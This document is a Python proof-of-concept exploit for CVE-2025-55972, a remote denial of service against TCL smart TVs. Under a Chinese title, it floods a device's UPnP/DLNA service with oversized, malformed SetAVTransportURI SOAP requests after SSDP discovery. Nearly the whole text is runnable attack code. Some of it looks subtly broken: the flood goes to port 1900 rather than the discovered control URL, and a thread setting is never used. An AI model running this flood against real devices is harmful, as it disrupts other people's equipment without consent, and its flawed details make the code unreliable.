CVE-2025-55972：TCL智能电视UPnP/DLNA远程拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-55972 PoC - TCL Smart TV UPnP/DLNA Denial of Service Author: Security Researcher Description: This PoC demonstrates a remote unauthenticated DoS attack against TCL Smart TV's UPnP/DLNA MediaRenderer implementation by flooding the device with malformed SetAVTransportURI SOAP requests. """ import socket import time import argparse import sys # UPnP control endpoint default port UPNP_PORT = 1900 # Malformed/oversized SetAVTransportURI SOAP request template def build_malformed_soap_request(target_ip): """Build a malformed SetAVTransportURI SOAP request with oversized payload""" # Create an oversized URI to exhaust device resources oversized_uri = "http://" + "A" * 65535 + ".malicious.com/stream.m3u8" soap_body = f'''<?xml version="1.0" encoding="utf-8"?> <s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <s:Body> <u:SetAVTransportURI xmlns:u="urn:schemas-upnp-org:service:AVTransport:1"> <InstanceID>0</InstanceID> <CurrentURI>{oversized_uri}</CurrentURI> <CurrentURIMetaData></CurrentURIMetaData> </u:SetAVTransportURI> </s:Body> </s:Envelope>''' http_request = ( f"POST /AVTransport/Control HTTP/1.1\r\n" f"Host: {target_ip}:{UPNP_PORT}\r\n" f"Content-Type: text/xml; charset=\"utf-8\"\r\n" f"Content-Length: {len(soap_body)}\r\n" f"SOAPAction: \"urn:schemas-upnp-org:service:AVTransport:1#SetAVTransportURI\"\r\n" f"Connection: keep-alive\r\n" f"\r\n" f"{soap_body}" ) return http_request.encode('utf-8') def discover_upnp_endpoint(target_ip, timeout=3): """Discover the actual UPnP control endpoint via SSDP M-SEARCH""" ssdp_request = ( "M-SEARCH * HTTP/1.1\r\n" "HOST: 239.255.255.250:1900\r\n" "MAN: \"ssdp:discover\"\r\n" "MX: 2\r\n" "ST: urn:schemas-upnp-org:service:AVTransport:1\r\n" "\r\n" ).encode('utf-8') sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(timeout) sock.sendto(ssdp_request, (target_ip, 1900)) try: while True: data, addr = sock.recvfrom(2048) response = data.decode('utf-8', errors='ignore') if "AVTransport" in response: # Extract the control URL from the response for line in response.split('\r\n'): if line.lower().startswith('location:'): return line.split(':', 1)[1].strip() except socket.timeout: pass finally: sock.close() return f"http://{target_ip}:{UPNP_PORT}/AVTransport/Control" def flood_target(target_ip, duration=60, thread_count=10): """Flood the target with malformed SetAVTransportURI requests""" print(f"[*] Starting DoS attack against {target_ip}") print(f"[*] Duration: {duration} seconds") print(f"[*] Press Ctrl+C to stop\n") end_time = time.time() + duration request_count = 0 try: while time.time() < end_time: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, UPNP_PORT)) payload = build_malformed_soap_request(target_ip) sock.send(payload) request_count += 1 if request_count % 10 == 0: print(f"[+] Sent {request_count} requests...") sock.close() except (socket.error, ConnectionRefusedError, OSError) as e: # Device may become unresponsive - this indicates successful DoS if "Connection refused" in str(e): print(f"[!] Target appears unresponsive after {request_count} requests") time.sleep(0.1) continue except KeyboardInterrupt: print(f"\n[*] Attack stopped. Total requests sent: {request_count}") sys.exit(0) print(f"\n[*] Attack completed. Total requests sent: {request_count}") if __name__ == "__main__": parser = argparse.ArgumentParser(description='CVE-2025-55972 PoC - TCL Smart TV DoS') parser.add_argument('target', help='Target TV IP address') parser.add_argument('-d', '--duration', type=int, default=60, help='Attack duration in seconds') args = parser.parse_args() print("=" * 60) print("CVE-2025-55972 - TCL Smart TV UPnP/DLNA DoS PoC") print("For authorized testing only!") print("=" * 60) print() # Discover the UPnP endpoint control_url = discover_upnp_endpoint(args.target) print(f"[*] UPnP control endpoint: {control_url}") print() # Launch the flood attack flood_target(args.target, args.duration)